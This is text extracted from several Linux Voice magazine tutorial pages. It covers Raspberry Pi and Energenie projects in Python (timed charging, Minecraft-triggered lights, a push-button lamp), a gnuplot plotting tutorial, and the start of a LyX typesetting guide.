   sensors in Python          hour computing lesson with time for class to explore
                              possibilities of expanding the projects to meet their
                              needs in the curriculum. These projects can be
 TOOLS REQUIRED               enhanced with cross-curricular activities.
 • A Raspberry Pi Model Pi
   2 or B+                    Project 1 – mobile phone charging station
 • An Energenie               Typically we leave our phone on charge overnight, but
 • For project 1 – A mobile   that really isn’t an energy-efficient solution. In this
   phone charger              project we'll use the Energenie power outlet and
 • For project 2 and 3 a
                              matching Raspberry Pi add-on to create a timed
   lamp
                              charging station. We will use a graphical user
 • For project 3 a
   breadboard, 2 female to    interface (GUI) using the EasyGUI library. Connect your
   male jumper leads and 1    Raspberry Pi as normal and gently insert the
   momentary switch
                              Energenie add-on onto the GPIO (General Purpose
 • Python 2 installed on
                              Input Output). It will fit over the first 26 pins from the   The Energenie is a brilliant gadget, available for £20 from
   your machine
                              SD card and it will overlap with the Raspberry Pi. With      https://energenie4u.co.uk/index.phpcatalogue/product/
                              the board fitted, insert the power and boot your             ENER002-2PI.
                              Raspberry Pi to the desktop.
                                 We'll be using EasyGUI to create an interface for our     Ben Nuttall from the Raspberry Pi Foundation has
                              project, but it is not installed as standard so to install   already created a handy package for us to install. You
                              this library open a terminal and type the following          can find Ben’s code at https://github.com/bennuttall/
Careful when fitting the      followed by Enter.                                           energenie. In the terminal enter the following lines of
Energenie add-on to the Pi:   sudo apt-get install python-easygui                          code and press Enter after each line.
GPIO pins can bend.           We also need to install the Energenie library; helpfully     sudo apt-get install python-pip
                                                                                           sudo pip install energenie
                                                                                             With that installed, keep the terminal open and type
                                                                                           sudo idle to launch the Idle editor. We need to do this
                                                                                           so that we can access the GPIO, as only a user with
                                                                                           root privileges can use the GPIO.

                                                                                           So let’s start coding!
                                                                                           In Idle, open a new file by going to File > New. I like to
                                                                                           import the libraries necessary at the top of the script,
                                                                                           as this means I only have one place to look for
                                                                                           problems when I'm debugging the code.
                                                                                           from energenie import switch_on, switch_off
                                                                                           from time import sleep
                                                                                           import easygui as eg



80                                                                  www.linuxvoice.com
                                                                                                                           EDUCATION TUTORIAL


   Wireless communication
   Connecting to a Raspberry Pi remotely can be accomplished          SRF dongle from the Ciseco store: http://shop.ciseco.co.uk/
   in many different ways. To remotely control your Raspberry Pi      raspberry-pi. This can have a range of many hundreds of
   on the command line (often called “Headless” mode) you can         metres, depending on line of sight.
   set up an SSH server on your Pi. In a terminal type sudo raspi-       The Energenie uses 433MHz transmitters to send a signal
   config and choose the SSH option from the Advanced menu.           over radio from your Pi to the unit. 433MHz units can be found
      To control your Pi over a network and use your mouse and        on eBay for a few pounds.
   screen there is a technology called VNC that can send the             You could also set up a direct cable connection between
   video from your Pi down a network. Head over to http://elinux.     your Raspberry Pi and computer via a cheap Ethernet cable.
   org/RPi_VNC_Server for more information. Please note that          When used with SSH and VNC this enables you to use your
   Minecraft does not work with VNC.                                  Pi anywhere. Take a look at this great resource: https://pihw.
      It’s also possible to connect to your Pi over radio using the   wordpress.com/guides/direct-network-connection for a guide
   Slice of Radio gadget from electronics vendor Ciseco and an        on how to use it.


Our first import brings two functions from the                        round until we break the loop or turn off the Raspberry
energenie library into our code, switch_on and                        Pi.
switch_off (I think you can guess what they do).                      choice = eg.choicebox(title="Linux Voice Phone
Our second import sees us bring the sleep function                    Charging",msg="Would you like to charge your phone?",
into our code; we will use this to time how long the                  choices=("Yes","No"))
charging station will operate. Our last import sees                      The next line handles asking the user if they would
us import the easygui library and rename it to eg for                 like to charge their phone, and we use another dialog
easier use.                                                           box from EasyGUI, this time the choicebox, which uses
   Next we shall create a function called timer. A                    the same title and msg syntax as the enterbox, but
function enables us to group a section of code under                  you can see an extra value of choices that will appear
one name and then call the function by its name                       as menu items in the dialog box.
and have all of the code run in sequence, similar to a                   Now we start a conditional statement, and it works
macro in office applications.                                         like this.
def timer():                                                          If the value of choice is NOT equal to “No”
  You will see at the end of the line that there is a                 Then run the function called timer()
colon :, which instructs Python that this is the end of                 if choice != "No":
declaring the functions name and that the next lines                        timer()
will be the code that is contained therein.                            else:
 t = float(eg.enterbox(title="Linux Voice Phone Charging?",                 print("All off")
msg="How long shall I charge your phone for (in minutes)?"))                switch_off()
   Our first line of code for the function sees us create                   break
a variable called t, and in there we store the answer                   Our last section of code handles the user selecting
to the question “How long shall I charge your phone                   not to charge their phone. It prints All off to the
for?” We capture this using an enterbox from EasyGUI.                 shell and then makes sure that the Energenie unit is
This is a dialog box that can ask a question to the user              turned off before finally breaking the infinite loop and
and capture the answer. We give the dialog box a title                stopping the application.
and a message msg to the user to give us an answer                      So that’s the code – now make sure that your
in minutes. You will see that this is wrapped in a float              mobile phone is plugged into its charger and that is
function; this converts the answer given to a float                   plugged into the Energenie.
value (a value that can have a decimal place).                          Run the code by going to Run > Run Module.
 t = t * 60                                                           Answer the questions correctly and you should see                Our finished phone charger
  Our next line of code performs a little maths. We                   your phone charging. If for some reason nothing                  application isn't pretty, but
take the current value of t and then multiply it by 60 to             happens, press and hold the green button of your                 it will save you electricity.
give us the time in minutes but counted as seconds,
so two minutes is 120 seconds.
 switch_on()
  sleep(t)
  switch_off()
   The next three lines of code turn on the Energenie
unit, then it waits for the value of t before switching
the unit off, and thus our phone stops charging. This
is the end of the function, so now let's look at the main
body of code.
while True:
  We start with an infinite loop (in Scratch this is
called a forever loop), and this loop will go round and



                                                                        www.linuxvoice.com                                                                      81
     TUTORIAL EDUCATION

                                                                                             hard-coded value of -7.0 (this was a position near to
                                                                                             where the game dropped me off at the start of the
                                                                                             game). If this condition is true, then the following code
                                                                                             is executed, turning on the lamp in the real world.
                                                                                                mc.postToChat("Light On")
                                                                                                switch_on()
                                                                                                PostToChat is a method of sending text to users
                                                                                             in a game, in this case us. We then call the switch_on
                                                                                             function from Energenie to turn on the lamp attached
                                                                                             to the unit.
                                                                                              else:
                                                                                                 switch_off()
                                                                                             Finally, we set the condition to say that when we are
                                                                                             not at the coordinates, turn the lamp off.
                                                                                                So that is the code complete. Before you run it,
                                                                                             open Minecraft and start a new world. You can find
As of December 2014
                               Energenie for five seconds and then run the script            Minecraft in the Games menu. Once it has loaded,
Raspbian comes with
Minecraft installed as         again. We’ve taken our first step to saving the planet!       switch back to Idle, release the mouse with the Tab
standard. If your version is                                                                 key, and run the code using Run > Run Module.
older then you will need to    Project 2 – Minecraft controlled lights                          Plug a lamp into your Energenie and make sure it
update your distro.            We're going to use Minecraft to create an interface           is set to come on if it has a switch. Move Steve to the
                               based on our player's location. Specifically, we're going     -7.0 coordinate (you can see your current position
                               to use the game to make a light come on in the real           in the top-left of the screen). Once you find the right
                               world. Open LXTerminal and type                               square the lamp will light up.
                               sudo idle                                                        If you're having a little difficulty finding the square,
                               Open a new file in Idle File > New.                           edit this line
                                 Just like Project 1 we shall start our code with             if pos.x == -7.0:
                               importing the libraries that enable us to do more with        To read
                               Python.                                                        if pos.y > 5.0:
                               from mcpi import minecraft                                       Save and run the code again. Now in Minecraft
                               from energenie import switch_on, switch_off                   double-tap the Space bar to fly and then hold on to it
                               from time import sleep                                        for a few seconds. Steve will fly into the air and your
                                  Our first import is the Minecraft library, which           light will come on.
                               contains all of the functions that we will need to
                               interface with a running Minecraft game. Our next             Project 3 – push-button lamp
                               import handles the Energenie interface, and finally           For our final project we will use a few cheap electronic
                               we import the sleep function from the time library. In        components to create a simple remote switch to turn
                               this tutorial we do not use it, but it can be used as an      on the lamp. Physical computing is a great way for
                               extension activity in class or at home.                       classes to understand the links between the real and
                               mc = minecraft.Minecraft.create()                             virtual worlds. In this project we use a simple push
                                 Next we create a variable called mc, and in there           button as our input, but we could use other types of
                               we store a connection to the Minecraft game running.          inputs such as sensors.
                               By prefacing any of our functions with mc we instruct            To start the project you should have already set up
                               Python to replace mc with the full text.                      your Raspberry Pi as per the instructions in Project 1.
                               while True:                                                      Open LXTerminal and type sudo idle to start the Idle
                                 We start the main body of code with an infinite loop        editor, then open a new file.
                               (again, in Scratch this is called a forever loop), and this
                               loop will go round and round until we break the loop or
                               turn off the Raspberry Pi.
                                pos = mc.player.getTilePos()
                                  In order to constantly search for the player's
                               location we create a variable called pos, in which we
                               store the player's position in the Minecraft world. This
                               is an X Y Z coordinate system based on blocks being
                               1 metre cubed. The getTilePos function rounds up
                               our position so this gives us a coarse location, but one
                               that is easier to work with.
                                if pos.x == -7.0:
                                 Now we use an if statement to compare the                   Our Minecraft project links code with real-life events –
                               location of Steve, our character in Minecraft, with a         just like grown-up programmers do all the time.



82                                                                 www.linuxvoice.com
                                                                                                                    EDUCATION TUTORIAL

                                                                                                                                 The low voltages in the
                                                                                                                                 Pi mean you're safe when
                                                                                                                                 connecting components,
                                                                                                                                 but do be careful to avoid
                                                                                                                                 short circuits.




Renaming modules when you import them can save a lot
of tricky typing later on the code.

  Just like the previous projects, we shall start our            stores the value off. We will use this to toggle the light.
code with importing the libraries that enable us to do           switch_off()
more with Python.                                                status = "off"
import RPi.GPIO as GPIO                                            We start the main body of code with an infinite loop
from time import sleep                                           and this loop will go round and round until we break
from energenie import switch_on, switch_off                      the loop or turn off the Raspberry Pi.
We start our imports with RPi.GPIO, the library that             while True:
enables Python to talk to the GPIO pins. We rename                  In this line of code we instruct Python to wait for
the library to GPIO, as it is easier to type.                    the button press as this will cause pin 26 to go from
   The next two imports we have already used in the              a high to low state, in other words the power will flow
previous projects.                                               from pin 26 to Ground causing a change of state on
   In order for us to use the GPIO pins we need to               the pin.
instruct Python as to how they are laid out. The                  GPIO.wait_for_edge(26, GPIO.FALLING)
Raspberry Pi has two pin layouts: BOARD and BCM.                   When this happens the next line of code is executed
   BOARD relates to the physical layout on the board,             switch_on()
with odd numbered pins on the left, and even on the                status = "on"
right. Pin 1 is the top-left pin nearest the micro SD             sleep(0.5)
card slot.                                                         As before, switch_on will trigger the lamp to turn
   BCM is short for Broadcom (the company that                   on, and the next line changes the value of our status
makes the Pi's System-on-Chip (SoC)). This layout                variable to on. We shall use this value in a moment.
appears random, but the pins are labelled according to           The last line for this section instructs Python to wait
their internal reference on the SoC, which controls the          for half a second.
Pi. BCM is considered the standard by the Raspberry               if status == "on":
Pi Foundation.                                                     So now we have an if condition that compares the
GPIO.setmode(GPIO.BCM)                                           value of the variable status with the hard-coded value
  In the next step we instruct Python that pin 26 is             on, and if the condition evaluates as True then the last
an input (GPIO.IN) and that it’s starting state should           four lines of code are executed.
pulled high, in other words power is going to the pin.               GPIO.wait_for_edge(26, GPIO.FALLING)
GPIO.setup(26, GPIO.IN, GPIO.PUD_UP)                                 switch_off()
  The next two lines of code handle resetting the light              status = "off"
connected to our Energenie so that it starts in an off               sleep(0.5)
state. We then create a variable called status that                 So our light is on and the value of the status variable
                                                                 is on. This triggers Python to wait for another button
                                                                 press to occur, and when it happens it will turn off the
  Code for this project                                          light, change the status variable's value to off and then
  All of the code for this project is housed in a GitHub         wait for half a second before the loop starts again and
  repository. GitHub uses the Git version control framework      waits for our button press once again.
  to enable you to work on your code and then push it to the        That’s all the code completed. Save your work, but
  cloud; changes made on your machine can be pushed when
                                                                 before running the code you'll need to attach your
  ready, updating the code in the cloud. Others can “fork”
  your code and work on “branches” for example creating new      button as per the photo above.
  features. These are then submitted to you for approval and        When ready, run the code using Run > Run Module
  when ready you can merge them with the main branch.            and press the button on your breadboard. It should
     You can download the code for this project from             light up the lamp. Now go forth and build!
  https://github.com/lesp/LinuxVoice_Issue15_Education if
  you are a Github user, if not you can download a ZIP archive
  containing all of the files used from https://github.com/       Les Pounder divides his time between tinkering with
                                                                  hardware and travelling the United Kingdom training teachers
  lesp/LinuxVoice_Issue15_Education/archive/master.zip.
                                                                  in the new IT curriculum.




                                                                   www.linuxvoice.com                                                                    83
      TUTORIAL GNUPLOT



                                   GNUPLOT – COMMAND
           TUTORIAL
                                   YOUR GRAPHS
                                   When there’s data to process, the command line is still the only
ANDREW CONWAY
                                   way – and that goes for plotting graphs too.


                                   I
                                        t’s 1990, or thereabouts. Linux is not even a                  Let’s get straight to making a simple graph:
  WHY DO THIS?                          twinkle in Torvalds’ eye and GNU is a six-year old           plot x
  • Script your plots                   showing real promise. An astrophysics PhD                       This will bring up a window that plots the function
  • A GUI can get in the way       student a few years my senior is sitting at a Sun                 f(x)=x on the vertical axis with a range of x of between
  • Check physics, avoid the       workstation enthusing about a new plotting program                0 and 10. To change the range, you issue these
    Matrix                         he’s found. It strikes me as being simple yet powerful            commands:
                                   and also a bit odd. I spend some time learning it, grow           set xrange[-5:5]
                                   to like it and go on to use it to create all the plots in my      replot
                                   PhD thesis. But during the late 1990s spreadsheets                  Similarly, to add a label to the x axis you do this:
                                   and other software tools became more powerful and                 set xlabel “This is the horizontal axis”
                                   ubiquitous and I fell into using them. However, a                 replot
                                   quarter of a century later, when writing an article for             In common with many text-based adventure
                                   this very magazine, I stumble across gnuplot again                games, you can abbreviate all commands. For
                                   and find, to my amazement, that it’s still being                  example, xrange and be shortened to xr, replot to
                                   developed and it’s just as odd and useful as it ever              rep and plot to a solitary p. These abbreviations are
                                                                was. So, let’s take a look at        great in interactive mode for keeping the typing to
                                                                the curious beast that is            a minimum, but they can produce near-unreadable
 “gnuplot is arguably at its                                    gnuplot.                             gobbledygook when used in scripts.

 most useful when it comes                                         You can get gnuplot with
                                                                apt-get install gnuplot-x11
                                                                                                       Once you’ve learned the basics of gnuplot you can
                                                                                                     quite often guess commands. For example, there are
 to plotting data from files.”                                  on Debian-based distros,             no prizes for guessing what the following lines do:
                                                                including Raspbian, or yum           set yrange[0:10]
                                                                install gnuplot on RPM               set ylabel “This axis is vertical”
                                   distros (or if, like me, you use Slackware, it’s installed        plot 2*x+3
                                   by default). To start it, open up a terminal window                  You can recall previous commands using the up
                                   and type gnuplot on the command line and you’ll see               and down arrow keys, just like on a Bash command
                                   some info on the software’s authors and version and               line, and if you type history you can see a number list
                                   be left with a gnuplot> prompt. This tutorial is based            of all commands you’ve entered. If you find yourself
                                   on version 4.6, but almost all examples should work               having adjusted various settings and are confused as
                                   on 5.0 too.                                                       to why your plot’s gone bonkers, just type the reset
                                                                                                     command and that will set many things back to their
  gnuplot’s not GNU                                                                                  defaults. Another handy feature is that you can use
                                                                                                     an exclamation mark to issue commands to the Bash
  The story of gnuplot’s name is neatly              name that the Computer Science Department       shell, eg !ls will list files in the current directory.
  summed up by Thomas Williams, one of its           occasionally used. I decided that ‘gnuplot’
  original authors:                                  would make a nice pun and after a fashion
      “Any reference to GNUplot is incorrect.        Colin agreed.”
                                                                                                     Getting help
  The real name of the program is ‘gnuplot’.             The software was once distributed by the    The inline help is excellent and can be accessed by
  You see people use ‘Gnuplot’ quite a bit           FSF (Free Software Foundation) but it is not    just typing help, or you can find out about a specific
  because many of us have an aversion to             now, and uses its own open source, but non-     command or setting by typing it after help, eg to find
  starting a sentence with a lower case letter,      copyleft licence. If you modify the source      out how to customise the tics that mark the x axis,
  even in the case of proper nouns and titles.       code you are not permitted to distribute
                                                                                                     you’d do
  gnuplot is not related to the GNU project or       it as a whole, but you may distribute your
  the FSF in any but the most peripheral sense.      modifications as patches to the official        help xtics
  Our software was designed completely               source code. Full details can be found in the     If you find that help too verbose and only want a
  independently and the name ‘gnuplot’ was           Copyright file provided with gnuplot, and you   reminder of what settings are on offer, use the show
  actually a compromise. I wanted to call it         can learn everything there is to know about     command instead:
  ‘llamaplot’ and Colin wanted to call it ‘nplot.’   the software on its website gnuplot.info. The
                                                                                                     show xtics
  We agreed that ‘newplot’ was acceptable,           source code, all written in C, can be found
  but we then discovered that there was an           on sourceforge.net. The last release of the       This will display all available options and their
  absolutely ghastly Pascal program of that          software was 5.0 in January 2015.               current values. If you prefer to leaf through a proper
                                                                                                     manual, you can download a thorough PDF from the



 84                                                                     www.linuxvoice.com
                                                                                                                           GNUPLOT TUTORIAL

gnuplot.info website, and there are a few published            The inverse square law
books on gnuplot.
  We’ve met two functions so far. Let’s give them
names and add a third function for x squared:
f(x)=x
g(x)=2*x+3
h(x)=x**2
plot f(x),g(x),h(x)
   We’ve called them f, g and h as mathematicians like
to do, but you can call them anything, eg Fred(a)=a,
Gillian(bob)=2*bob+3 or Henry(tudor)=tudor**2.
Note that gnuplot is case sensitive, so fred is different
from Fred. Also, although we’ve used bob and tudor
as independent variables to define the functions,
when it comes time to plot them we have to use x
inside the brackets, eg trying to plot Henry(tudor) will
cause gnuplot to complain that tudor is undefined.
   There are many built-in functions, such as sin(x),
the exponential function exp(x) and the natural
logarithm log(x). Many of the functions you’d expect
are present in gnuplot, with some more obscure ones,
such as Bessel functions and even functions that
operate on strings like strlen(). To list all available
functions, just type help expressions functions.                A Raspberry Pi, its camera, a lamp and a tape measure are all you need for this experiment.
                                                                The command raspistill --raw (plus various options to attempt to set exposure) was used to
                                                                grab an image from the camera and produced a JPEG with embedded raw data, which was
Data from files                                                 extracted using a utility called raspiraw. The pixel analysis was done using Python with the
Although it can be fun to play with functions (well, for        rawpy module.
certain types of people at least), gnuplot’s arguably at
its most useful when it comes to plotting data from
files. Let’s start with something simple. Enter the          distance from the source. More details on how this
following into a file using any text editor and save it as   was done are in the boxout above.
square.txt:                                                    The data is in three columns: distance, number of
00                                                           pixels covered by the lamp in the image, and the
11                                                           sum of all those pixel values. The data file, saved as
24                                                           data.csv, looks like this:
39                                                           distance/m,area/thousand pixels,sum/million pixel units
4 16                                                         0.5,353,24.1
   Start gnuplot in the same directory as you saved the      1.0,87.5,6.02
file and type this:                                          2.0,21.6,2.82
plot “square.txt”                                            3.0,8.76,1.35
   We found that the markers were rather small on a            This is a standard CSV (comma separated variable)
modern high-DPI screen, but you can easily change            format of data, with one header row and four columns
that either by adding pointsize 10 after the file name       of data. We want to plot the distance – the first
in the plot command, or change it for all future plots       column – on the horizontal axis, and the second
with set pointsize 10.                                       and third columns on the vertical axis. The following
   You can check that these data are in fact squares of      commands achieve part of this:
numbers by plotting a function on the same plot:             set datafile separator “,”
plot “square.txt”, x**2                                      plot “data.csv” every::1 using 1:3 title “pixel sum”
                                                                 The first line says to use commas to separate
Experimental example                                         values on a line and then in the plot line, every::1 tells
The data in the file can come from anywhere of               it to skip the first line, and using 1:3 tells it to plot
course, but we’re going to look at some data obtained        column 1 on the horizontal axis and column 3 on the
by placing a Raspberry Pi camera at different                vertical axis. The title keyword tells it to use “pixel
distances from a lamp surrounded by a translucent            sum” as the label in plot’s key.
glass shade, which spreads the light over many pixels            Now, let’s construct a more interesting plot, which
and prevents saturation.                                     plots all the data plus fits to it, as shown in the boxout
Our aim here is not to measure properties of the             over the page:
camera, but to perform a simple experiment and, with         area(x)=90/x**2
the help of gnuplot, verify the inverse square law, ie       i(x)=6/x**2
that the intensity of light falls off as the square of       set style line 1 linetype 1 linewidth 2 linecolor rgb “red”



                                                               www.linuxvoice.com                                                                              85
     TUTORIAL GNUPLOT

                                                                                                               If you hover the mouse above a point in the plot
 Graphing graphics                                                                                          window, the co-ordinates of that point are displayed
 Although gnuplot doesn’t produce the                   In this example we produce a bar chart
                                                                                                            at the bottom-left, and a middle click will place a
 prettiest of graphs, a graphically-talented         with graphics. First we set xtic labels to             marker. You can place as many markers as you wish,
 user (so not the author of this article), can       appear every 50 units from 30; then use the            and a replot will clear them all away. To zoom into a
 achieve something more presentable without          plot command to place the lv.png image with            rectangular area inside the plot, right-click once to
 too much effort.                                    its lower-left corner by setting origin to (10,0)      place one corner of the rectangle, and then right-click
 set xtics (“LV001” 30.0000, “LV002” 80.0000,        with the image width multiplied by dx=0.2
 “LV003” 130.0000, “LV004” 180.000)                  and height multiplied by dy=0.1. We can
                                                                                                            again to place the opposite corner. Once zoomed-
 plot ‘lv.png’ binary filetype=png origin=(10,0)     place as many bars as we like by repeating             in, the mouse wheel becomes handy for scrolling
 dx=0.2 dy=0.1 with rgbimage, ...                    this with different origin and dy values.              the view up and down the y-axis, or with Shift held
                                                                                                            down, along the x-axis. You can undo the last zoom
                                                                                                            or scroll action by pressing P, and pressing A will
                                                                                                            undo everything, ie restore the view to its initial state.
                                                                                                            For these key-presses to work you’ll need to make
                                                                                                            sure the plot window has keyboard focus, which just
                                                                                                            requires one click with the left mouse button. Typing
                                                                                                            the command show bind at the gnuplot prompt will
                                                                                                            show you all keyboard and mouse bindings, though
                                                                                                            we found that not all work as expected, probably due
                                                                                                            to conflicts with the window manager.

                                                                                                            Outputs galore
                                   set style line 2 pointtype 7 pointsize 3 linecolor rgb “red”             A strength of gnuplot is the number of different ways
                                   set ytics nomirror                                                       to output the results, which is controlled by the
                                   set y2tics                                                               terminal setting. The default is usually the x11
                                   set y2range[-4:25]                                                       terminal, but you can list the available terminal
                                   set y2label “pixel sum/1,000,000”                                        settings by typing help terminal. How many you have
                                   plot area(x) title “area fit” ls 1,”data.csv” every::1 using 1:2 title   depends on the compile-time settings of gnuplot, but
                                   “area” ls 2 \                                                            on my system there are 47 options, from the familiar
                                    ,i(x) title “intensity fit” ls 3 axes x1y2,”data.csv” every::1 using    image formats of PNG and JPEG, to the niche and
                                   1:3 title “intensity” ls 4 axes x1y2                                     arcane, such as PSTricks and MIF (maker interchange
                                      The first two lines define functions for our fits to the              format). The different terminals are not guaranteed to
                                   data. The third and fourth lines define the styles for                   produce the same results, so if you want to capture
                                   the red data (definitions for lines 3 and 4, not shown,                  the graph exactly as you see it on the screen, your
                                   are similar). The next four lines set up the secondary                   best option might be to take a screenshot.
                                   y-axis, called y2 that is for the pixel sum, which is a                    One very useful option is to output as Scalable
                                   measure of intensity. The nomirror line tells gnuplot                    Vector Graphics (SVG), which will allow you to scale
                                   not to copy tics on to the right-hand y axis, and then                   the graph to any size outside gnuplot later on. First get
                                   we enable the tics on axis y2, set the range and finally                 the graph set up to your satisfaction on the screen
                                   set the label for y2. The plot command is getting                        and then do the following:
                                   rather complex, but the only two new features are                        set terminal svg
                                   that the linestyle (ls) is set and also the axes x1y2 is                 set output “prettyplot.svg”
                                   set, which tells gnuplot to use the same x axis but the                  replot
                                   secondary y axis for these data.                                         set output
                                      Regarding the results of the experiment, as you can                      This sets the terminal to svg, then the name of the
                                   see the area fit is excellent, but the intensity fit is poor             output file, which will go to the current directory (you
                                   beyond 2m. The fact that the area data fits so well                      can specify a full path if you wish), then you send the
                                   isn’t a surprise, because the inverse square law is in                   plot to the file with replot. The set output line at the
                                   fact a geometrical effect that arises because emitted                    end is needed to ensure that all data is flushed to the
                                   light spreads out over increasing areas as it moves                      file and the file is properly closed. This is an irritating
                                   away from its source. The reason the intensity fit is                    quirk of gnuplot, but it does allow us to do something
                                   poor beyond 2m is that the camera probably adjusted                      that’s useful and fun when scripting.
                                   the exposure to the lower light level (we did try to                        There are many options that vary from one terminal
                                   prevent this, but clearly failed!).                                      to the next, but a common one is to specify the size.
                                                                                                            For an image format such as PNG, you can specify it
                                   gnuplot’s GUI                                                            in pixels, but for the PDF output you can specify the
                                   gnuplot is primarily a command-driven plotting                           size in physical units:
                                   program, but the developers are not ideological about                    set term png size 800,600
                                   that, and there is support for point and clicking with                   set term pdf size 10cm,10cm
                                   the mouse (or other devices).                                            Possibly our favourite terminal is the one called dumb.



86                                                                         www.linuxvoice.com
                                                                                                                         GNUPLOT TUTORIAL

This, to the great delight of a command-line jockey,
will plot the graph using only ASCII characters in the          A 3D plot
terminal window.                                                This example switches on hidden line             set isosamples 20
                                                                                                                 set hidden3d
                                                                removal (hidden3d) and increases the             set xrange [-3:3]
Scripting                                                       sampling of the grid (isosamples) to let you     set yrange [-2:2]
gnuplot is great for scripting. In fact, you don’t even         see the peak of the function:                    splot 1 / (x*x + y*y + 1)

need to write a script. Once you have your plot set up
the way you like, try this:
save “myplot.gp”
   Then at some later time you can conjure up your
treasured plot with:
load “myplot.gp”
  The file myplot.gp is a text file containing a list of
gnuplot commands, but the first line will be #!/usr/bin/
gnuplot -persist, which means you can run it from the
command line if you make it executable, like this:
chmod u+x myplot.gp
./myplot.gp
and voilà, you now have the ability to launch a plot
directly from the command line. You can of course
write your own gnuplot scripts without using its save
command, and any text editor will suffice for this.

Getting animated
Want to make an animated plot? It’s actually very             the titles used in the key.
easy. First set up the terminal like this:
set terminal gif animate delay 50                             Enter the third dimension
set output “myanimatedplot.gif”                               gnuplot can do 3D plots with the splot command. For
set yrange[-10:10]                                            starters, try this:
plot x;plot x+1;plot x+2;plot x+4                             splot x+y
set output                                                       You will now see a flat, sloping surface shown as
   The first line is the important one: it tells gnuplot we   a red grid. For each point (x,y), the height – or z co-
want to create an animated GIF with a delay between           ordinate – of that red surface is x+y. So at (0,0) the
frames of 50 hundredths of a second, i.e. 0.5 seconds.        height is zero, for (2,0) the height is 2, and for (3,2) the
On the next line we specify the output file, then we          height is 5, and so on. To appreciate the 3Dness with
set the yrange to stop the graph’s scale changing in          such rudimentary graphics you’ll need to rotate the
a distracting way. Next we specify the frames of the          view by dragging the mouse across the plot with the
plot. Here we use semi-colons (;) to separate the plot        left button held down. As with 2D plots, the mouse
commands as an alternative to putting each one on a           wheel scrolls the axes, but now pressing and holding
separate line. Finally we issue set output to tell gnuplot    the middle button enables you to zoom in and out.
we’ve finished writing to the GIF file. If you open up
the resulting GIF file in any image viewer you will see a     Final thoughts
jerky animation of a line moving up the y-axis.               gnuplot isn’t for everyone, but if you like the command
   To get a smoother plot, we can unleash gnuplot’s           line, and are inclined to think mathematically, which
looping commands. You can replace the line with the           scientists and engineers often are, then gnuplot is a
four plots with:                                              powerful tool. It can used as a plugin to display the
do for [n=1:4] {plot x+n}                                     results from software with more advanced analysis
   If you change the maximum of n in this loop from           capabilities, such as in GNU Octave (a Matlab
4 to 100, and the delay to 2, then you can create your        alternative), and gnuplot-py enables you to use
very own 50 frames-per-second, 2 second long, avant-          gnuplot from within Python.
garde cinematic masterpiece called Levez ligne.                  Exploring data with advanced GUIs and Minority
   Or, if you have some numerical code that spews             Report-esque gesturing may be cool, and even useful,
out data files, you can script the plotting of them with      but there’s only so much you can express by waving
something like:                                               your hands around (can you mime a Bessel function?),
do for [name in “tom dick harry”]{                            and that’s why a command-driven and scriptable
           filename = name . “.csv”                           plotting tool is as relevant today as when it was first
           plot filename title name                           created some three decades ago.
}
  This will load and plot the data from three files            Andrew Conway, millionaire philanthropist, tracks the stars to
                                                               predict the future – just like real economists!
called tom.csv, dick.csv and harry.csv and generate



                                                                www.linuxvoice.com                                                           87
         TUTORIAL LYX



                                  CREATE DOCUMENTS WITH LYX:
              TUTORIAL
                                  LATEX MADE EASY
                                  Explore a way to beautiful documents that doesn’t involve learning
VALENTINE SINITSYN
                                  a whole set of macro commands.


                                  B
                                            ack in LV009 we ran a tutorial on the Latex         In a nutshell, Lyx provides a convenient way to
     WHY DO THIS?                           typesetting system. It received some feedback     compose Latex documents. There are lot of the
     • Make the Latex learning              (thanks everyone!), which clearly suggested       menus, toolbars and suchlike, so you don’t need
       curve a little shallower   that a thing named Lyx deserves more than a                 to remember Latex commands anymore. Having
     • Produce top-quality        paragraph in the sidebar. So, here we go.                   a general understanding of how a Latex document
       prints and slides              Lyx is another typesetting system built on Latex.       should look is helpful, however. This is akin designing
     • Generate PDFs that look    But unlike Latex, you won’t need to learn any markup        web pages in a visual editor: somewhat faster than
       the same on every PC
                                  commands or compile a document just to make sure            manual once you’ve got used to your tool, but having
                                  it looks as intended. Lyx provides a visual environment     prior experience with raw HTML makes things clearer.
                                  that even novice office users should be comfortable           Lyx documents are plain text, and you can work with
                                  with. These days, we take for granted that the way          them in the editor of your choice (albeit there is little
                                  a document looks on screen is the way that it’ll look       point in doing so). Naturally, these documents can
                                  once it’s printed. However, in 1995 when KDE creator        be exported to Latex, which comes handy if you want
                                  Matthias Etthrich conceived the tool that later become      some final polishing. More importantly, you can also
                                  Lyx , “What You See Is What You Get” (WYSIWYG) was          import your Latex documents into Lyx. In other words,
                                  very much a selling point.                                  Lyx is a complement to Latex, not a substitute, and
                                      Strictly speaking, Lyx is not WYSIWYG. Described        they are interoperable (sort of).
                                  best as an “almost WYSIWYG” or WYSIWYM (What                  By the time you get to this point, your Lyx packages
                                  You See Is What You Mean) editor, it provides a point-      should have finished downloading (otherwise you
                                  and-click interface and gives an overall impression of      may consider ditching your broadband provider).
                                  how your document will look. If you need details, you       Open the editor from the Applications menu, and let’s
                                  still have to generate a PDF preview, but with Lyx this     type some words.
                                  is no more than one click away. If you ever used a
                                  commercial tool like MacKichan Scientific Word, you’ve      First steps
                                  already got the idea. However, Lyx is free, both as in      As in Latex, Lyx documents consists of environments
                                  beer and as in speech.                                      (distant relatives of Styles in LibreOffice Writer). The
                                                                                              basic workflow is as follows: you choose the
                                  Bootstrapping                                               environment, you type some words, you press Enter
                                  It is fairly simple to install Lyx. From what you already   when you are done with the passage, and start again.
                                  know it should be natural that it requires Qt and Latex     Environments available for use in the document are
    Here’s a Lyx document and
    a PDF output side-by-         – both of these should be available in your package         determined by its class, settable in Document >
    side. There are obvious       manager. If you still use Windows on some of your           Settings.
    similarities, but not 100%    machines, download the all-in-one installer from the           Class is what controls a document’s appearance.
    identity.                     Lyx homepage (www.lyx.org).                                 Lyx doesn’t really distinguish texts and presentations
                                                                                              (you create both in one app). Behind the scenes, Latex
                                                                                              lays out the document as an article, a book or a series
                                                                                              of slides, taking care of all the formatting itself.
                                                                                                 Unless you have special requirements, Lyx
                                                                                              generates a PDF. This is a high-fidelity format, so you
                                                                                              never need to worry that your presentation will look
                                                                                              different on the computer you’ll be giving a talk from.
                                                                                              Naturally, you also lose many interactive features like
                                                                                              animations, but they seem to be out of fashion these
                                                                                              days anyway.
                                                                                                 Let’s start your first Lyx document. Give it a name:
                                                                                              find a drop-down menu saying “Standard” in the
                                                                                              toolbar, open it, select Title and type in something.
                                                                                              Now, press Enter (the current environment will change
                                                                                              back to Standard) and author something clever and



    88                                                             www.linuxvoice.com
                                                                                                                          LYX TUTORIAL




It’s easy to edit complex formulas with the Math palette.

